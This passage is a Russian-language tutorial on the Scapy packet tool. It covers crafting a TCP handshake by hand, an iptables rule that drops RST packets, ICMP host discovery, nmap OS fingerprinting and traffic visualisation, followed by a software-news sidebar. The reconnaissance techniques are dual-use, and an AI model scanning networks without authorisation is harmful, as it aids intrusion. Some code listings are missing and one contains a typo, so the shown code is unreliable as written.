Для того чтобы стало еще понятней, рассмотрим уже более подробно, с использованием произвольно взятых значений. К примеру, соединение прошло таким образом:192.168.10.200 1024 > 192.168.10.50 80 flags=SYN seq=12345 192.168.10.50 80 > 192.168.10.200 1024 flags=SYN, ACK seq=9998 ack=12346 192.168.10.200 1024 > 192.168.10.50 80 flags=ACK seq=12346 ack=9999 Что в итоге нужно было сделать.

1) Отправить SYN принимающей стороне:

  • собрать заголовок IP, в котором указать в качестве отправителя 192.168.10.200 и 192.168.10.50 в качестве получателя;
  • собрать TCP заголовок с портом источника (source) 1024 и портом назначения (destination) 80. Так же установить SYN флаг и сгенерировать ISN равный 12345.
2) Поймать ответный пакет:
  • сохранить ответ;
  • извлечь из него TCP sequence number (9998) и увеличить это значение на единицу, получим 9999.
3) Создать подтверждение (ACK) на полученный ответный пакет:
  • собрать заголовок IP, в котором указать в качестве отправителя 192.168.10.200 и 192.168.10.50 в качестве получателя;
  • собрать TCP заголовок с такими же портами источника и назначения (1024 и 80 соответственно), установить ACK флаг, увеличить ISN на единицу (12346) и установить acknowledgement в увеличенное значение пойманного seq number (9999).
Начнем собирать пакет:

Здесь уже всё должно быть знакомым: пакет собираем из двух частей, инкапсулируя TCP в IP.

Теперь помня о том, что нам нужно будет перехватить ответ, извлечь оттуда sequence number и увеличить на единицу, делаем:

Происходит следующее – функция sr1 отправляет ранее созданный пакет в сеть, а первый пришедший ответ помещается в переменную SYNACK. А затем, используя конструкцию SYNACK.seq, извлекаем TCP sequence number, увеличиваем его на единицу и сохраняем в переменной my_ack.

Продвигаемся дальше:

Создаем новый заголовок TCP и называем его ACK. В нем устанавливается другой флаг (A — ACK) и увеличивается значение sequence number. Кроме того, в качестве acknowledgement указывается переменная my_ack. Затем собранный пакет выбрасывается в сеть командой send (помним, что это L3 команда, которая даже не слушает, что придет в ответ). Если всё было сделано правильно, то классическое TCP-соединение состоялось. Осталось только создать TCP сегмент без каких-либо флагов и тоже отправить в сеть.

Как можно увидеть, мы в очередной раз создали экземпляр TCP заголовка (в этот раз, назвав его PUSH), без флагов и со всеми остальными знакомыми уже значениями. После этого добавили немного данных, используя переменную data, и отправили в сеть, используя ту же функцию send. И соответственно от получателя должен будет прийти acknowledgement на этот сегмент.

Листинг 2 TCP-соединение>>> ip=IP(src="192.168.10.200",dst="192.168.10.50") >>> SYN=TCP(sport=1024,dport=80,flags="S",seq=12345) >>> packet=ip/SYN >>> SYNACK=sr1(packet) >>> my_ack=SYNACK.seq+1 >>> ACK=TCP(sport=1024,dport=80,flags="A",seq=12346,ack=my+ack) >>>send(ip/ACK)

Но здесь есть и несколько подводных камней. Если посмотреть на этот обмен в Wireshark, можно увидеть, что до того как ушел наш ACK пакет, внезапно был отправлен RST:

Дело в том, что Scapy работает мимо TCP/IP стека ОС. Это означает то, что ОС не подозревает о том, что Scapy отправляет какие-то пакеты. Соответственно ОС не будет ожидать появления SYN/ACK пакетов. И, следовательно, соединение будет сразу же сброшено. Очевидно, что это совсем не тот результат, который нам нужен. Одним из решений такой проблемы будет использование функционала пакетного фильтра, в частности iptables, который сможет блокировать исходящие RST пакеты. Например, таким образом:

# iptables -A OUTPUT -p tcp -d 192.168.10.50 -s 192.168.10.200 --dport 80 --tcp-flags RST RST -j DROP Выполнение такой конструкции приведет к тому, что все исходящие пакеты с адресом назначения 192.168.10.50 и с адресом отправителя 192.168.10.200 на 80-й порт, с установленным RST флагом, будут отбрасываться. Пакеты будут все так же генерироваться силами ОС, но они просто не будут вылетать за ее пределы. В итоге уже ничего не будет мешать Scapy делать полноценную TCP-сессию:

Используя Scapy, можно находить хосты в сети, среди указанного множества адресов:

В этом случае мы используем протокол ICMP и применяем знакомый прием по разделению полученных ответов.

По умолчанию, установлен 8-й тип для ICMP, это и есть классический эхо-запрос.

Углубляясь в тему ИБ, попробуем определить версию ОС используя Scapy и nmap.

Итак, рассмотрим что было сделано. Вначале был подключен внешний модуль, в данном случае nmap. Затем проверяем, что у нас есть файл (nmap-os-fingerprints) с отпечатками различных ОС. И запускаем непосредственно определение удаленной операционной системы, за это отвечает функция nmap_fp, где в качестве параметров помимо самой цели, можно еще указать открытый (oport) и закрытый (cport) порты. Правильно указанные порты помогут сильно улучшить точность определения ОС.

Все время мы смотрели на текстовый вывод, местами была псевдографика, но Scapy умеет и выводить некоторые результаты в графическом виде. Посмотрим, что нам предлагается. Самое простое — это метод conversations():

При его выполнении, запустится окно ImageMagick, в котором отрисуется схема нашего обмена пакетами, не ахти красиво, но достаточно наглядно. Это способ, вероятно, лучше всего подойдет, для визуализации дампов с трафиком.

Второй способ заключается в построении 2D графиков, с последующим экспортом их в pdf-файл.

За это уже отвечает функция pdfdump(). Результаты выглядят примерно так:

В данном случае уже вполне неплохо. Кроме того, функция graph() опять откроет окно ImageMagick, но уже с детальной прорисовкой:

Здесь мы видим результат трассировки, с подробным отображением автономных систем и прочей визуализацией.

И, завершая тему визуализации, а вместе с ней и статью, посмотрим на 3D отображения трассы. Для этого потребуется VPython и команда trace3D().

Здесь отображена трасса из предыдущего графика.

Но иногда бывают и такие варианты:

В этом примере была проведена трассировка сразу нескольких целей, с использованием нескольких (80, 443) tcp портов. Левый клик на любом объекте приведет к появлению IP-адреса над ним, а левый клик с зажатой клавишей CTRL – к отображению более подробной информации — портам, как в этом случае.

Итак, мы рассмотрели лишь малую часть утилиты Scapy, но уже это впечатляет. Возможности, которые предоставляются действительно очень большие. Статья призвана вызвать у читателя интерес в изучении сетевых протоколов, и не является исчерпывающим руководством по инструменту Scapy. За использование этой утилиты в каких-либо противоправных целях ни редакция, ни автор ответственности не несут.

В процессе написания статьи использовались материалы Института SANS и официальная документация проекта.

linkmeup.ru


 

..:::Новинки:::..

Windows Commander 5.11 Свежая версия.

Новая версия
IrfanView 3.75 (рус)

Обновление текстового редактора TextEd, уже 1.75a

System mechanic 3.7f
Новая версия

Обновление плагинов для WC, смотрим :-)

Весь Winamp
Посетите новый сайт.

WinRaR 3.00
Релиз уже здесь

PowerDesk 4.0 free
Просто - напросто сильный upgrade проводника.

..:::Счетчики:::..